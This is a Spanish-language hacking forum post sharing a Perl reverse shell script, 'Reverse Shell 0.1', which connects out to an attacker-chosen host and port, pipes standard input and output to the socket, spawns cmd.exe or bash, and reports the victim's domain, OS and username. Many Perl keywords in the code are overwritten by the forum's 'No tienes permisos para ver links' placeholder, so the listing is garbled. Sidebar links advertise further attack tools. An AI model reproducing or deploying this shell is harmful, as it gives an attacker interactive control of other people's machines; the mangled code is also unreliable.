comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Reverse Shell By Doddy

  • 0 Respuestas
  • 898 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:49:16 pm »
Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código: Perl
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[Sintax] : $0 <host> <port>\n\n";
  11. No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  12. } else {
  13. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Starting the connection\n";
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Enter in the system\n";
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. No tienes permisos para ver links. Registrate o Entra con tu cuenta(REVERSE, PF_INET, SOCK_STREAM, No tienes permisos para ver links. Registrate o Entra con tu cuenta('tcp'));
  22. No tienes permisos para ver links. Registrate o Entra con tu cuenta(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. No tienes permisos para ver links. Registrate o Entra con tu cuenta (STDIN,">&REVERSE");
  24. No tienes permisos para ver links. Registrate o Entra con tu cuenta (STDOUT,">&REVERSE");
  25. No tienes permisos para ver links. Registrate o Entra con tu cuenta (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. No tienes permisos para ver links. Registrate o Entra con tu cuenta("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. No tienes permisos para ver links. Registrate o Entra con tu cuenta("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Domain Name : ".Win32::DomainName()."\n";
  42. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] OS Version : ".Win32::GetOSName()."\n";
  43. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] System information\n\n";
  48. No tienes permisos para ver links. Registrate o Entra con tu cuenta("uname -a");
  49. }
  50.  
  51. #The End
  52.  
« Última modificación: Julio 17, 2011, 03:45:26 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3236
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1515
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1315
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1308
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1140
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear